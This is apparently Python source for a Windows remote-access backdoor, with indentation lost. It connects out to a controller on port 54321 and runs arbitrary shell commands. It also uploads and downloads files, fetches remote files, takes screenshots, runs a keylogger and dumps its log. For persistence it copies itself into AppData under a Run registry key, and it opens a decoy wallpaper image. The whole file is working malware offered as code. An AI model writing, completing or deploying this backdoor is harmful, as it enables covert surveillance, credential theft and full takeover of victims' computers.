global sock

global command

# declaration of the socket

# see documentation

def reliable_send(self, data):

json_data = json.dumps(data)

sock.send(json_data)

def reliable_receive(self):

json_data = ""

while True:

try:

json_data = json_data + sock.recv(1024)

return json.loads(json_data)

except ValueError:

continue

def download(self, url):

get_reponse = requests.get(url)

file_name = url.split("/")[-1]

with open(file_name, "wb") as out_file:

out_file.write(get_reponse.content)

def has_admin(self):

global admin

try:

temp = os.listdir(os.sep.join([os.environ.get('SystemRoot','C:\\windows'),'temp']))

except:

admin = False

else:

admin = True

def screenshot(self):

with mss() as screenshot:

screenshot.shot()

def initialisation(self):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

def connection(self):

while True:

time.sleep(20)

try:

# connection to the server

ipaddress = ""

sock.connect((ipaddress, 54321))

self.execute_command()

except:

self.connection()

def execute_command(self):

keylogger_path = os.environ["appdata"] + "\\keylogger.txt"

while True:

command = self.reliable_receive()

if command == "q":

try:

os.remove(keylogger_path)

except:

continue

break

elif command[:2] == "cd" and len(command) > 1:

try:

os.chdir(command[3:])

except:

continue

elif command[:8] == "download":

with open(command[:9], "rb") as file:

self.reliable_send(base64.b64encode(file.read()))

elif command[:6] == "upload":

with open(command[7:], "wb") as fin:

result = self.reliable_receive()

fin.write(base64.b64decode(result))

elif command[:3] == "get":

try:

self.download(command[4:])

self.reliable_send("[+] Download File From the URL")

except:

self.reliable_send("[-] Failed to Download File")

elif command[:5] == "start":

try:

subprocess.Popen(command[6:], shell=True)

self.reliable_send("[+] Started")

except:

self.reliable_send("[-] Failed to start")

elif command[:10] == "screenshot":

try:

self.screenshot()

with open("monitor-1.png", "rb") as screenshot:

self.reliable_send(base64.b64encode(screenshot.read()))

os.remove("monitor-1.png")

except:

self.reliable_send("[-] Failed to take screenshot")

elif command[:5] == "check":

self.has_admin()

if admin:

self.reliable_send("[+]Administrator privileges")

else:

self.reliable_send("[-]User privileges")

elif command[:4] == "help":

help_options = ''' download -> Download a file from target PC

upload -> Upload a file from target PC

get url -> Download a file from target website

start path -> Start program on target pc

screenshot -> take a screenshort of the target monitor

check -> Check for administrator privileges

q -> Exit the reverse shell

key_start -> Start the Keylogger'''

self.reliable_send(help_options)

elif command[:12] == "keylog_start":

t1 = threading.Thread(target=keylogger.start)

t1.start()

elif command[:11] == "keylog_dump":

fin = open(keylogger_path, "r")

self.reliable_send(fin.read())

else:

try:

# creation of the command, see documentation

proc = subprocess.Popen(

command,

shell=True,

stdout=subprocess.PIPE,

stderr=subprocess.PIPE,

stdin=subprocess.PIPE

)

result = proc.stdout.read() + proc.stderr.read()

self.reliable_send(result)

except:

self.reliable_send("Can't execute the command")

def copy_executable(self):

# find the location of the appdata directory

location = os.environ["appdata"] + "\\data.exe"

if not os.path.exists(location):

# copy the backdoor executable on the target if running for the first time

shutil.copyfile(sys.executable, location)

subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v data /t REG_SZ /d ""'

+ location + '"', shell=True)

name = sys._MEIPASS + "\Wallpaper.jpg"

try:

subprocess.Popen(name, shell=True)

except:

number = 3

number = number + 20

def end_connection(self):

# close the socket

sock.close()

def main(self):

self.initialisation()

self.copy_executable()

self.connection()